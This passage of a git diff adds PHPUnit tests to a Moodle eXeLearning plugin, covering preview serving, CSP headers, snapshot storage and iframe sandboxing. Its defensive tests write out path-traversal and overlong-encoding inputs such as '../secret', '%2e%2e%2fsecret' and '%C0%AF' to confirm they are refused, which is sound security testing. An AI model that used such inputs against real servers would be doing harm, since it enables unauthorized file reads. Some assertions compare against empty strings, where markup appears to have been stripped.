$this->assertInstanceOf(\stored_file::class, $f); + } + $this->assertStringContainsString('', $html); + $this->assertStringContainsString('libs/exe_scorm_bridge.js', $html); + } + + /** + * Re-extracting the same revision refreshes the plugin-owned bridge client + * (scorm_tracker.js / exe_scorm_bridge.js) under libs/ — exercises the $present + + * refresh delete-and-recreate branch of package_manager::extract_stored() (DEC-80-02). + * Idempotent: it must not error and the files must remain. + */ + public function test_reextract_refreshes_bridge_client(): void { + global $DB; + $this->resetAfterTest(); + $this->setAdminUser(); + + $course = $this->getDataGenerator()->create_course(); + $instance = $this->getDataGenerator()->get_plugin_generator('mod_exelearning') + ->create_instance(['course' => $course->id]); + $cm = get_coursemodule_from_instance('exelearning', $instance->id); + $context = \context_module::instance($cm->id); + $revision = (int) $DB->get_field('exelearning', 'revision', ['id' => $instance->id]); + $fs = get_file_storage(); + + // Present after the first extract. + $before = $fs->get_file($context->id, 'mod_exelearning', 'content', $revision, '/libs/', 'exe_scorm_bridge.js'); + $this->assertInstanceOf(\stored_file::class, $before); + + // Re-extract the same revision: the bridge files are already present, so the + // refresh branch deletes and recreates them. Must stay present and not error. + exelearning_extract_stored_package($context->id, $revision); + + foreach (['scorm_tracker.js', 'exe_scorm_bridge.js'] as $bridgefile) { + $f = $fs->get_file($context->id, 'mod_exelearning', 'content', $revision, '/libs/', $bridgefile); + $this->assertInstanceOf(\stored_file::class, $f); + } + } + + /** + * The in-package client runtime is the CANONICAL external-media bundle vendored from + * eXeLearning core, not the superseded shim it replaced. + * + * Asserted on the extracted BYTES rather than on the source path, because the path is + * what a refactor changes and the bytes are what a learner runs. The destination + * filename deliberately stays `exe_embed_shim.js`: packages extracted before the + * migration carry that name in their own HTML, and renaming it would strand them. + * That is exactly why the name cannot be the thing this test trusts. + */ + public function test_extract_ships_the_canonical_external_media_child(): void { + global $DB; + $this->resetAfterTest(); + $this->setAdminUser(); + + $course = $this->getDataGenerator()->create_course(); + $instance = $this->getDataGenerator()->get_plugin_generator('mod_exelearning') + ->create_instance(['course' => $course->id]); + $cm = get_coursemodule_from_instance('exelearning', $instance->id); + $context = \context_module::instance($cm->id); + $revision = (int) $DB->get_field('exelearning', 'revision', ['id' => $instance->id]); + + $file = get_file_storage()->get_file( + $context->id, + 'mod_exelearning', + 'content', + $revision, + '/libs/', + 'exe_embed_shim.js' + ); + $this->assertInstanceOf(\stored_file::class, $file, 'the client runtime was not shipped'); + + $source = $file->get_content(); + // A symbol only the canonical bundle defines. + $this->assertStringContainsString('exeExternalMediaChild', $source); + // And it must carry the dual-licence grant into the package (eXe ADR-2199-09): these + // bytes are redistributed to every learner who downloads the course. + $this->assertStringContainsString('AGPL-3.0-or-later OR GPL-3.0-or-later', $source); + } + + /** + * The vendored copy is byte-identical to what eXeLearning core published. + * + * This plugin holds the BYTES and verifies them, rather than a copy of the logic that + * could drift (eXe ADR-2199-12). CI runs the same check with a build hash pinned in the + * workflow -- out of band, because a hash read from the copy under test cannot vouch + * for that copy. This test is the fast local half. + */ + public function test_vendored_external_media_matches_its_manifest(): void { + $dir = __DIR__ . '/../js/exe_external_media/'; + $manifest = json_decode((string) file_get_contents($dir . 'exe-external-media.manifest.json'), true); + + $this->assertIsArray($manifest['files'] ?? null, 'the manifest has no file list'); + + foreach ($manifest['files'] as $half => $record) { + $this->assertFileExists($dir . $record['path'], "{$half} is missing"); + $this->assertSame( + $record['sha256'], + hash('sha256', (string) file_get_contents($dir . $record['path'])), + "{$half} does not match the digest core published" + ); + } + + // Editing a file and its digest together is the obvious way around a per-file + // check, so the build hash covers the digest list itself. + $keys = array_keys($manifest['files']); + sort($keys); + $lines = array_map(static fn($k) => $k . ':' . $manifest['files'][$k]['sha256'], $keys); + $this->assertSame($manifest['buildHash'], hash('sha256', implode("\n", $lines))); + } + + /** + * Control is raw postMessage: no provider SDK may be inside the host bundle. + */ + public function test_host_bundle_carries_no_provider_sdk(): void { + $host = (string) file_get_contents(__DIR__ . '/../js/exe_external_media/exe-external-media-host.min.js'); + + $this->assertStringNotContainsString('YT.Player', $host); + $this->assertStringNotContainsString('Vimeo.Player', $host); + $this->assertStringContainsString('enablejsapi', $host); } /** diff --git a/tests/local/preview/serving_test.php b/tests/local/preview/serving_test.php new file mode 100644 index 0000000..0587d7f --- /dev/null +++ b/tests/local/preview/serving_test.php @@ -0,0 +1,340 @@ +. + +namespace mod_exelearning\local\preview; + +use advanced_testcase; + +/** + * Unit tests for the preview serving protocol/response helpers (contract v2). + * + * @package mod_exelearning + * @category test + * @copyright 2026 ATE (Área de Tecnología Educativa) + * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later + * @covers \mod_exelearning\local\preview\serving + */ +final class serving_test extends advanced_testcase { + /** + * The emitted CSP MUST be byte-identical to eXe core previewCspHeader(): + * a single line, directives joined by "; ", no trailing ";", sandbox first. + */ + public function test_csp_header_is_byte_identical_to_core(): void { + $expected = "sandbox allow-scripts allow-popups allow-forms; " + . "default-src 'self'; " + . "script-src 'self' 'unsafe-inline' 'unsafe-eval'; " + . "style-src 'self' 'unsafe-inline'; " + . "img-src 'self' data: blob: https:; " + . "media-src 'self' data: blob: https:; " + . "font-src 'self' data:; " + . "connect-src 'self'; " + . "frame-src 'self' https://www.youtube-nocookie.com https://player.vimeo.com; " + . "child-src 'self' https://www.youtube-nocookie.com https://player.vimeo.com; " + . "object-src 'none'; " + . "base-uri 'none'; " + . "form-action 'self'; " + . "frame-ancestors 'self'"; + $this->assertSame($expected, serving::csp_header()); + // The preview CSP is ALWAYS opaque: it must never carry allow-same-origin, + // even if the published-content legacy escape hatch is enabled. + putenv('EXELEARNING_UNSAFE_LEGACY_IFRAME=1'); + try { + $this->assertStringNotContainsString('allow-same-origin', serving::csp_header()); + } finally { + putenv('EXELEARNING_UNSAFE_LEGACY_IFRAME'); + } + } + + /** + * The Permissions-Policy is the 4-feature preview value. + */ + public function test_permissions_policy(): void { + $this->assertSame('camera=(), microphone=(), geolocation=(), payment=()', serving::permissions_policy()); + } + + /** + * Base headers carry the hardening set and deliberately NOT Cache-Control + * (that is tiered per resolution layer by the caller). + */ + public function test_base_headers(): void { + $headers = serving::base_headers(); + $this->assertSame('nosniff', $headers['X-Content-Type-Options']); + $this->assertSame('no-referrer', $headers['Referrer-Policy']); + $this->assertSame('*', $headers['Access-Control-Allow-Origin']); + $this->assertArrayHasKey('Permissions-Policy', $headers); + $this->assertArrayNotHasKey('Cache-Control', $headers); + } + + /** + * The sandbox CSP rides on every scriptable document type, not just HTML. + */ + public function test_is_scriptable(): void { + $this->assertTrue(serving::is_scriptable('text/html; charset=utf-8')); + $this->assertTrue(serving::is_scriptable('image/svg+xml; charset=utf-8')); + $this->assertTrue(serving::is_scriptable('application/xml')); + $this->assertTrue(serving::is_scriptable('text/xml')); + $this->assertTrue(serving::is_scriptable('application/xhtml+xml')); + $this->assertFalse(serving::is_scriptable('text/css')); + $this->assertFalse(serving::is_scriptable('image/png')); + $this->assertFalse(serving::is_scriptable('application/javascript')); + } + + /** + * Content types mirror core: textual types (incl. svg/xml/js/json) get a + * UTF-8 charset; binary types do not; unknown extensions fall back. + */ + public function test_content_type_for(): void { + $this->assertSame('text/html; charset=utf-8', serving::content_type_for('index.html')); + $this->assertSame('image/svg+xml; charset=utf-8', serving::content_type_for('a/icon.svg')); + $this->assertSame('text/css; charset=utf-8', serving::content_type_for('theme/content.css')); + $this->assertSame('application/javascript; charset=utf-8', serving::content_type_for('libs/x.js')); + $this->assertSame('application/json; charset=utf-8', serving::content_type_for('data.json')); + $this->assertSame('application/xml; charset=utf-8', serving::content_type_for('feed.xml')); + $this->assertSame('image/png', serving::content_type_for('img/photo.png')); + $this->assertSame('video/mp4', serving::content_type_for('media/clip.mp4')); + $this->assertSame('application/octet-stream', serving::content_type_for('blob.unknownext')); + } + + /** + * Path normalization is traversal-safe: it defaults to index.html, strips + * leading slashes, resolves '.'/'..', and rejects escapes (literal and + * percent-encoded), NUL bytes and malformed encoding. + */ + public function test_normalize_content_path(): void { + $this->assertSame('index.html', serving::normalize_content_path('')); + $this->assertSame('foo/bar', serving::normalize_content_path('/foo/bar')); + $this->assertSame('foo/bar', serving::normalize_content_path('///foo/bar')); + $this->assertSame('b', serving::normalize_content_path('a/../b')); + $this->assertSame('c', serving::normalize_content_path('a/b/../../c')); + $this->assertSame('foo bar.png', serving::normalize_content_path('foo%20bar.png')); + $this->assertSame('index.html', serving::normalize_content_path('?x=1')); + + $this->assertNull(serving::normalize_content_path('../secret')); + $this->assertNull(serving::normalize_content_path('%2e%2e%2fsecret')); + $this->assertNull(serving::normalize_content_path('..')); + $this->assertNull(serving::normalize_content_path("with\0nul")); + $this->assertNull(serving::normalize_content_path('bad%zz')); + } + + /** + * Byte-for-byte parity with core: JS decodeURIComponent throws (=> null => + * 404) on percent-sequences that decode to invalid UTF-8, so the PHP mirror + * must reject them too — an overlong '/', a lone continuation byte, and a + * lone surrogate — rather than passing the raw bytes through. Valid encoding + * (ASCII and multibyte) still resolves. + */ + public function test_normalize_content_path_rejects_invalid_utf8(): void { + $this->assertNull(serving::normalize_content_path('%C0%AF')); + $this->assertNull(serving::normalize_content_path('a%C0%AFb')); + $this->assertNull(serving::normalize_content_path('%80')); + $this->assertNull(serving::normalize_content_path('%ED%A0%80')); + + $this->assertSame('html/page-2.html', serving::normalize_content_path('html/page-2.html')); + $this->assertSame("resum\u{00e9}.html", serving::normalize_content_path('resum%C3%A9.html')); + } + + /** + * The authless serving endpoint must suppress debug output: any notice or + * warning printed on a $CFG->debugdisplay-on site would prepend garbage to + * the byte-exact preview/asset body (and could defeat the headers/CSP + * contract). preview.php defines NO_DEBUG_DISPLAY before requiring config. + */ + public function test_serving_endpoint_suppresses_debug_output(): void { + $source = file_get_contents(__DIR__ . '/../../../preview.php'); + $this->assertNotFalse($source); + $definepos = strpos($source, "define('NO_DEBUG_DISPLAY', true);"); + $requirepos = strpos($source, "require(__DIR__ . '/../../config.php');"); + $this->assertNotFalse($definepos, 'preview.php must define NO_DEBUG_DISPLAY'); + $this->assertNotFalse($requirepos); + $this->assertLessThan($requirepos, $definepos, 'NO_DEBUG_DISPLAY must be defined before config.php'); + } + + /** + * A single-range Range header parses to an inclusive window or a suffix + * window; a syntactically valid but unsatisfiable single range is the + * 'unsatisfiable' sentinel (416); no header, a malformed header, a multi-range + * set, or a non-"bytes" unit are all ignored (null ⇒ a normal 200 full body). + */ + public function test_parse_range(): void { + $this->assertNull(serving::parse_range(null, 10)); + $this->assertNull(serving::parse_range('', 10)); + $this->assertSame(['start' => 2, 'end' => 4], serving::parse_range('bytes=2-4', 10)); + $this->assertSame(['start' => 2, 'end' => 9], serving::parse_range('bytes=2-', 10)); + $this->assertSame(['start' => 7, 'end' => 9], serving::parse_range('bytes=-3', 10)); + $this->assertSame(['start' => 2, 'end' => 9], serving::parse_range('bytes=2-100', 10)); + + // Syntactically valid single ranges that cannot be satisfied → 416: + // first-byte-pos >= length, and a zero suffix. + $this->assertSame('unsatisfiable', serving::parse_range('bytes=99-', 10)); + $this->assertSame('unsatisfiable', serving::parse_range('bytes=-0', 10)); + + // Ignored (served as full 200): non-"bytes" unit, multi-range, garbage, + // "bytes=-" (no bounds), and an inverted spec (last < first, RFC-invalid). + $this->assertNull(serving::parse_range('bytes=5-2', 10)); + // Structural invalidity wins over satisfiability: an inverted spec whose + // first-byte-pos is ALSO beyond the body is ignored (200), never a 416. + $this->assertNull(serving::parse_range('bytes=15-2', 10)); + $this->assertNull(serving::parse_range('bytes=-', 10)); + $this->assertNull(serving::parse_range('kilobytes=1-2', 10)); + $this->assertNull(serving::parse_range('bytes=0-1,3-4', 10)); + $this->assertNull(serving::parse_range('bytes=abc', 10)); + $this->assertNull(serving::parse_range('bytes=1-2-3', 10)); + } + + /** + * If-None-Match matches any listed (optionally weak) tag or the wildcard. + */ + public function test_if_none_match_matches(): void { + $this->assertFalse(serving::if_none_match_matches(null, 'key')); + $this->assertTrue(serving::if_none_match_matches('"key"', 'key')); + $this->assertTrue(serving::if_none_match_matches('W/"key"', 'key')); + $this->assertTrue(serving::if_none_match_matches('*', 'key')); + $this->assertTrue(serving::if_none_match_matches('"x", "key"', 'key')); + $this->assertFalse(serving::if_none_match_matches('"other"', 'key')); + } + + /** + * The 404 response carries base headers + no-store + a plain-text body and + * never a CSP. + */ + public function test_not_found(): void { + $response = serving::not_found(); + $this->assertSame(404, $response['status']); + $this->assertSame('no-store', $response['headers']['Cache-Control']); + $this->assertSame('nosniff', $response['headers']['X-Content-Type-Options']); + $this->assertSame('*', $response['headers']['Access-Control-Allow-Origin']); + $this->assertArrayNotHasKey('Content-Security-Policy', $response['headers']); + $this->assertSame('Not found', $response['body']); + } + + /** + * The capability-path split flags the bare-root form ("/{previewId}" and + * "/{previewId}/") so the endpoint can redirect it, and otherwise returns the + * previewId + the relative path (a leading slash is optional). + */ + public function test_parse_capability_path(): void { + $id = 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeffff0000'; + + $bare = serving::parse_capability_path('/' . $id); + $this->assertSame($id, $bare['previewid']); + $this->assertSame('', $bare['relpath']); + $this->assertTrue($bare['bareroot']); + $this->assertFalse($bare['trailingslash']); + + $bareslash = serving::parse_capability_path('/' . $id . '/'); + $this->assertSame($id, $bareslash['previewid']); + $this->assertSame('', $bareslash['relpath']); + $this->assertTrue($bareslash['bareroot']); + $this->assertTrue($bareslash['trailingslash']); + + $withpath = serving::parse_capability_path('/' . $id . '/html/page-2.html'); + $this->assertSame($id, $withpath['previewid']); + $this->assertSame('html/page-2.html', $withpath['relpath']); + $this->assertFalse($withpath['bareroot']); + $this->assertFalse($withpath['trailingslash']); + + // The leading slash is optional (get_file_argument may omit it). + $noslash = serving::parse_capability_path($id . '/index.html'); + $this->assertSame($id, $noslash['previewid']); + $this->assertSame('index.html', $noslash['relpath']); + $this->assertFalse($noslash['bareroot']); + } + + /** + * The bare-root Location is RELATIVE and resolves to the session's index.html + * against the request URL: "{previewId}/index.html" without a trailing slash, + * just "index.html" with one. + */ + public function test_bare_root_location(): void { + $id = 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeffff0000'; + $this->assertSame($id . '/index.html', serving::bare_root_location($id, false)); + $this->assertSame('index.html', serving::bare_root_location($id, true)); + } + + /** + * The bare-root redirect is a 302 to index.html carrying the base hardening + * headers + no-store, and never a CSP. + */ + public function test_redirect_to_index(): void { + $location = 'https://moodle.example/mod/exelearning/preview.php/' + . 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeffff0000/index.html'; + $response = serving::redirect_to_index($location); + $this->assertSame(302, $response['status']); + $this->assertSame($location, $response['headers']['Location']); + $this->assertSame('no-store', $response['headers']['Cache-Control']); + $this->assertSame('nosniff', $response['headers']['X-Content-Type-Options']); + $this->assertSame('*', $response['headers']['Access-Control-Allow-Origin']); + $this->assertArrayNotHasKey('Content-Security-Policy', $response['headers']); + $this->assertSame('', $response['body']); + } + + /** + * The serving endpoint wires the bare-root redirect: preview.php splits the + * capability path and, on the bare-root form, emits redirect_to_index rather + * than serving document bytes (the entry-point script is out of coverage + * scope, so this asserts the wiring at the source level, like the + * NO_DEBUG_DISPLAY check above). + */ + public function test_serving_endpoint_redirects_bare_root(): void { + $source = file_get_contents(__DIR__ . '/../../../preview.php'); + $this->assertNotFalse($source); + $this->assertStringContainsString('parse_capability_path', $source); + $this->assertStringContainsString("\$parsed['bareroot']", $source); + $this->assertStringContainsString('redirect_to_index', $source); + } + + /** + * The editor bootstrap injects the previewSnapshot activation block pointing + * at this plugin's two endpoints, and gates it on the Playground so a + * preview-capable editor build fails closed there (editor/index.php is an + * entry-point script outside coverage scope, so this asserts the wiring at the + * source level, like the preview.php checks above). + * + * The block name matters: the editor reads previewSnapshot and ignores the + * previewHttp one this replaced, so a stale key leaves the opaque preview + * silently unreachable rather than broken. + */ + public function test_editor_bootstrap_injects_preview_snapshot_config(): void { + $source = file_get_contents(__DIR__ . '/../../../editor/index.php'); + $this->assertNotFalse($source); + $this->assertStringContainsString("'previewSnapshot'", $source); + $this->assertStringNotContainsString("'previewHttp'", $source); + $this->assertStringContainsString('/mod/exelearning/editor/preview_session.php', $source); + $this->assertStringContainsString('/mod/exelearning/preview.php', $source); + // The delete template must keep cmid and sesskey, which the client's + // default target would drop. + $this->assertStringContainsString("'deleteUrlTemplate'", $source); + $this->assertStringContainsString('{previewId}', $source); + // Fails closed under the Playground: the block is omitted there. + $this->assertStringContainsString('MOODLE_PLAYGROUND', $source); + } + + /** + * The service-worker neutralization stub returns a faithful registration + * shape (non-empty scope + a no-op addEventListener), not a bare + * { scope: "" } that the editor's preview provider aborts on when it calls + * registration.addEventListener("updatefound", …). + */ + public function test_editor_bootstrap_sw_stub_is_faithful(): void { + $source = file_get_contents(__DIR__ . '/../../../editor/index.php'); + $this->assertNotFalse($source); + $this->assertStringContainsString('fakeSwRegistration', $source); + $this->assertStringContainsString('addEventListener: function() {}', $source); + // No register path resolves the bare stub that aborted the preview + // provider (the explanatory comment names the shape, so match the return). + $this->assertStringNotContainsString('Promise.resolve({ scope: "" })', $source); + } +} diff --git a/tests/local/preview/snapshot_store_test.php b/tests/local/preview/snapshot_store_test.php new file mode 100644 index 0000000..2e4155f --- /dev/null +++ b/tests/local/preview/snapshot_store_test.php @@ -0,0 +1,353 @@ +. + +namespace mod_exelearning\local\preview; + +use advanced_testcase; +use ZipArchive; + +/** + * Tests for the opaque preview snapshot store and its archive inspector. + * + * @package mod_exelearning + * @copyright 2026 ATE (Área de Tecnología Educativa) + * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later + * @covers \mod_exelearning\local\preview\snapshot_store + * @covers \mod_exelearning\local\preview\zip_inspector + * @covers \mod_exelearning\local\preview\serving::serve + */ +final class snapshot_store_test extends advanced_testcase { + /** @var string Scratch storage root. */ + private $root; + + /** @var int Authoring user. */ + private $userid = 42; + + /** @var int Course module the snapshots belong to. */ + private $cmid = 7; + + /** + * Point the store at a scratch directory. + */ + protected function setUp(): void { + parent::setUp(); + $this->resetAfterTest(); + $this->root = make_request_directory(); + snapshot_store::set_root_for_testing($this->root); + } + + /** + * Drop the overrides. + */ + protected function tearDown(): void { + snapshot_store::reset_root_for_testing(); + snapshot_store::reset_limits_for_testing(); + parent::tearDown(); + } + + /** + * Build a ZIP from a path => contents map. + * + * @param array $entries Path => contents. + * @return string Pathname of the archive. + */ + private function zip(array $entries): string { + $path = make_request_directory() . '/snapshot.zip'; + $zip = new ZipArchive(); + $zip->open($path, ZipArchive::CREATE); + foreach ($entries as $name => $contents) { + $zip->addFromString($name, $contents); + } + $zip->close(); + return $path; + } + + /** + * A snapshot round-trips: stored under a capability and served back. + */ + public function test_replace_stores_the_snapshot(): void { + $result = snapshot_store::replace($this->userid, $this->cmid, $this->zip([ + 'index.html' => 'hello', + 'assets/app.js' => 'run()', + ])); + + $this->assertArrayHasKey('previewid', $result); + $dir = snapshot_store::get_content_dir($result['previewid']); + $this->assertNotNull($dir); + $this->assertSame('hello', file_get_contents($dir . '/index.html')); + $this->assertSame('run()', file_get_contents($dir . '/assets/app.js')); + } + + /** + * Replacing swaps the tree wholesale: files gone from the new ZIP disappear. + */ + public function test_replace_is_a_whole_tree_swap(): void { + $first = snapshot_store::replace($this->userid, $this->cmid, $this->zip([ + 'index.html' => 'first', + 'stale.html' => 'gone next time', + ])); + $id = $first['previewid']; + + $second = snapshot_store::replace( + $this->userid, + $this->cmid, + $this->zip(['index.html' => 'second']), + $id + ); + + $this->assertSame($id, $second['previewid']); + $dir = snapshot_store::get_content_dir($id); + $this->assertSame('second', file_get_contents($dir . '/index.html')); + $this->assertFileDoesNotExist($dir . '/stale.html'); + } + + /** + * A snapshot belongs to one user and one activity. + */ + public function test_replace_refuses_another_owner_or_module(): void { + $id = snapshot_store::replace($this->userid, $this->cmid, $this->zip(['index.html' => 'ok']))['previewid']; + + $otheruser = snapshot_store::replace($this->userid + 1, $this->cmid, $this->zip(['index.html' => 'no']), $id); + $othercm = snapshot_store::replace($this->userid, $this->cmid + 1, $this->zip(['index.html' => 'no']), $id); + + $this->assertSame('previewforbidden', $otheruser['error']); + $this->assertSame('previewforbidden', $othercm['error']); + $this->assertSame('ok', file_get_contents(snapshot_store::get_content_dir($id) . '/index.html')); + } + + /** + * Replacing an unknown capability is refused rather than silently created. + */ + public function test_replace_refuses_an_unknown_capability(): void { + $result = snapshot_store::replace( + $this->userid, + $this->cmid, + $this->zip(['index.html' => 'ok']), + 'ffffffff-ffff-4fff-bfff-ffffffffffff' + ); + + $this->assertSame('missingpreview', $result['error']); + } + + /** + * Both verbs share one verdict, so delete reports the same error codes + * publish does for the same conditions. + */ + public function test_delete_reports_the_same_verdict_as_publish(): void { + $this->assertSame( + 'missingpreview', + snapshot_store::delete_owned('11111111-2222-4333-8444-555555555555', $this->userid, $this->cmid) + ); + $this->assertSame( + 'invalidpreviewid', + snapshot_store::delete_owned('not-a-uuid', $this->userid, $this->cmid) + ); + } + + /** + * Delete is owner-scoped and makes the capability unresolvable. + */ + public function test_delete_is_owner_scoped(): void { + $id = snapshot_store::replace($this->userid, $this->cmid, $this->zip(['index.html' => 'ok']))['previewid']; + + $this->assertSame( + 'previewforbidden', + snapshot_store::delete_owned($id, $this->userid + 1, $this->cmid) + ); + $this->assertNotNull(snapshot_store::get_content_dir($id)); + + $this->assertTrue(snapshot_store::delete_owned($id, $this->userid, $this->cmid)); + $this->assertNull(snapshot_store::get_content_dir($id)); + } + + /** + * An idle snapshot expires, and the sweep reclaims it. + */ + public function test_idle_snapshots_expire(): void { + $id = snapshot_store::replace($this->userid, $this->cmid, $this->zip(['index.html' => 'ok']))['previewid']; + touch($this->root . '/' . $id . '/access', time() - snapshot_store::TTL_SECONDS - 60); + + $this->assertNull(snapshot_store::get_content_dir($id)); + $this->assertSame(1, snapshot_store::sweep_expired()); + $this->assertDirectoryDoesNotExist($this->root . '/' . $id); + } + + /** + * Serving a snapshot pushes its expiry back, so an in-use preview survives. + */ + public function test_serving_refreshes_the_idle_clock(): void { + $id = snapshot_store::replace($this->userid, $this->cmid, $this->zip(['index.html' => 'ok']))['previewid']; + $access = $this->root . '/' . $id . '/access'; + touch($access, time() - snapshot_store::TTL_SECONDS + 120); + + $this->assertNotNull(snapshot_store::get_content_dir($id)); + $this->assertGreaterThan(time() - 5, filemtime($access)); + } + + /** + * An archive without index.html is not a preview. + */ + public function test_archive_must_carry_an_index(): void { + $result = snapshot_store::replace($this->userid, $this->cmid, $this->zip(['page.html' => 'orphan'])); + + $this->assertSame('previewmissingindex', $result['error']); + } + + /** + * Traversal escapes are refused before anything is written. + */ + public function test_archive_paths_cannot_escape(): void { + $result = snapshot_store::replace($this->userid, $this->cmid, $this->zip([ + 'index.html' => 'ok', + '../escape.html' => 'nope', + ])); + + $this->assertSame('invalidpreviewpath', $result['error']); + $this->assertFileDoesNotExist(dirname($this->root) . '/escape.html'); + } + + /** + * The entry-count and total-size guards both fail closed. + */ + public function test_limits_are_enforced(): void { + snapshot_store::set_limits_for_testing(['maxfiles' => 1, 'maxbytes' => 1073741824]); + $toomany = snapshot_store::replace($this->userid, $this->cmid, $this->zip([ + 'index.html' => 'a', + 'b.html' => 'b', + ])); + $this->assertSame('previewtoomanyfiles', $toomany['error']); + + snapshot_store::set_limits_for_testing(['maxfiles' => 10000, 'maxbytes' => 8]); + $toobig = snapshot_store::replace($this->userid, $this->cmid, $this->zip([ + 'index.html' => str_repeat('x', 64), + ])); + $this->assertSame('previewtoolarge', $toobig['error']); + } + + /** + * A rejected upload leaves no staging directory behind. + */ + public function test_a_rejected_upload_leaves_nothing_behind(): void { + snapshot_store::replace($this->userid, $this->cmid, $this->zip(['page.html' => 'no index'])); + + $leftovers = array_filter(scandir($this->root), function ($entry) { + return strpos($entry, '.staging-') === 0; + }); + $this->assertSame([], array_values($leftovers)); + } + + /** + * A non-positive configured limit falls back to the default: the guard + * cannot be switched off from the admin page. + */ + public function test_limits_cannot_be_disabled(): void { + set_config('previewmaxbytes', 0, 'mod_exelearning'); + set_config('previewmaxfiles', -1, 'mod_exelearning'); + + $limits = snapshot_store::limits(); + + $this->assertSame(snapshot_store::DEFAULT_MAX_BYTES, $limits['maxbytes']); + $this->assertSame(snapshot_store::DEFAULT_MAX_FILES, $limits['maxfiles']); + } + + /** + * Serving resolves a file inside the snapshot, with the sandbox CSP on a + * scriptable document and no caching of it (it is rewritten every refresh). + */ + public function test_serve_returns_a_document_with_the_sandbox_csp(): void { + $id = snapshot_store::replace($this->userid, $this->cmid, $this->zip([ + 'index.html' => '

hi

', + ]))['previewid']; + $dir = snapshot_store::get_content_dir($id); + + $response = serving::serve($dir, 'index.html', []); + + $this->assertSame(200, $response['status']); + $this->assertSame('

hi

', $response['body']); + $this->assertStringContainsString('sandbox', $response['headers']['Content-Security-Policy']); + $this->assertSame('no-store', $response['headers']['Cache-Control']); + } + + /** + * A non-scriptable file revalidates instead: ETag, 304 and Range, which is + * what makes a video inside the snapshot seekable. + */ + public function test_serve_revalidates_and_ranges_an_asset(): void { + $id = snapshot_store::replace($this->userid, $this->cmid, $this->zip([ + 'index.html' => 'x', + 'a.txt' => '0123456789', + ]))['previewid']; + $dir = snapshot_store::get_content_dir($id); + + $full = serving::serve($dir, 'a.txt', []); + $this->assertSame(200, $full['status']); + $this->assertArrayNotHasKey('Content-Security-Policy', $full['headers']); + $this->assertSame('bytes', $full['headers']['Accept-Ranges']); + + $etag = trim($full['headers']['ETag'], '"'); + $this->assertSame(304, serving::serve($dir, 'a.txt', ['ifnonematch' => '"' . $etag . '"'])['status']); + + $partial = serving::serve($dir, 'a.txt', ['range' => 'bytes=2-4']); + $this->assertSame(206, $partial['status']); + $this->assertSame('234', $partial['body']); + $this->assertSame('bytes 2-4/10', $partial['headers']['Content-Range']); + } + + /** + * The ETag is built from identity rather than from hashing the bytes, so it + * has to turn over on a refresh that mtime and size alone cannot see: two + * publishes inside the same second where the file keeps its length. Without + * the content directory's inode in the tag, this case hands the browser a + * 304 for the previous bytes. + */ + public function test_serve_etag_turns_over_on_a_same_size_refresh(): void { + $id = snapshot_store::replace($this->userid, $this->cmid, $this->zip([ + 'index.html' => 'x', + 'style/main.css' => 'a{color:#111}', + ]))['previewid']; + $before = serving::serve(snapshot_store::get_content_dir($id), 'style/main.css', [])['headers']['ETag']; + + // Same length, different bytes, published immediately after. + snapshot_store::replace($this->userid, $this->cmid, $this->zip([ + 'index.html' => 'x', + 'style/main.css' => 'a{color:#222}', + ]), $id); + $dir = snapshot_store::get_content_dir($id); + $after = serving::serve($dir, 'style/main.css', []); + + $this->assertNotSame($before, $after['headers']['ETag']); + $this->assertSame('a{color:#222}', $after['body']); + // The stale tag must not win a conditional request. + $this->assertSame(200, serving::serve($dir, 'style/main.css', ['ifnonematch' => $before])['status']); + } + + /** + * A path that climbs out of the snapshot is a 404, not a file from the + * filesystem: the request is normalized AND the resolved path is confirmed + * to sit under the snapshot root. + */ + public function test_serve_refuses_to_escape_the_snapshot(): void { + $id = snapshot_store::replace($this->userid, $this->cmid, $this->zip([ + 'index.html' => 'ok', + ]))['previewid']; + $dir = snapshot_store::get_content_dir($id); + file_put_contents(dirname($dir) . '/meta.json', 'secret'); + + foreach (['../meta.json', '..%2fmeta.json', 'sub/../../meta.json', 'missing.html'] as $attempt) { + $this->assertSame(404, serving::serve($dir, $attempt, [])['status'], $attempt); + } + } +} diff --git a/tests/local/scorm/scorm_injector_test.php b/tests/local/scorm/scorm_injector_test.php index 9eae3f3..1b3658b 100644 --- a/tests/local/scorm/scorm_injector_test.php +++ b/tests/local/scorm/scorm_injector_test.php @@ -84,9 +84,14 @@ public function test_inject_rewrites_html_with_relative_paths_and_is_idempotent( $this->assertStringContainsString('', $index); $this->assertStringContainsString('pipwerks.SCORM.init()', $index); + // The external-embed shim is baked too (no host list: the parent relay gates). + $this->assertStringContainsString('', $index); + $this->assertStringContainsString('', $index); + // Nested page: relative path climbs one level (../libs/...). $page = $fs->get_file($contextid, 'mod_exelearning', 'content', $revision, '/html/', 'page.html')->get_content(); $this->assertStringContainsString('', $page); + $this->assertStringContainsString('', $page); // Non-HTML asset is untouched. $css = $fs->get_file($contextid, 'mod_exelearning', 'content', $revision, '/css/', 'style.css')->get_content(); diff --git a/tests/player_iframe_test.php b/tests/player_iframe_test.php new file mode 100644 index 0000000..edd3a09 --- /dev/null +++ b/tests/player_iframe_test.php @@ -0,0 +1,219 @@ +. + +namespace mod_exelearning; + +use advanced_testcase; +use mod_exelearning\local\ui\player_iframe; + +/** + * Tests for the package iframe security mode + sandbox policy (DEC-80-01). + * + * @package mod_exelearning + * @category test + * @copyright 2026 ATE (Área de Tecnología Educativa) + * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later + * @covers \mod_exelearning\local\ui\player_iframe + */ +final class player_iframe_test extends advanced_testcase { + /** + * The default (no config set) must be the secure, isolated mode. + */ + public function test_default_mode_is_secure(): void { + $this->resetAfterTest(); + $this->assertSame(player_iframe::MODE_SECURE, player_iframe::resolve_mode()); + $this->assertTrue(player_iframe::is_secure()); + } + + /** + * An unset/invalid config must fail safe to secure, never weakening isolation. + */ + public function test_invalid_mode_falls_back_to_secure(): void { + $this->resetAfterTest(); + set_config('iframemode', 'not-a-real-mode', 'mod_exelearning'); + $this->assertSame(player_iframe::MODE_SECURE, player_iframe::resolve_mode()); + $this->assertTrue(player_iframe::is_secure()); + } + + /** + * Legacy mode was removed: a leftover iframemode=legacy config is ignored and the + * package still renders secure (no silent downgrade to same-origin). + */ + public function test_legacy_config_is_ignored(): void { + $this->resetAfterTest(); + set_config('iframemode', 'legacy', 'mod_exelearning'); + $this->assertSame(player_iframe::MODE_SECURE, 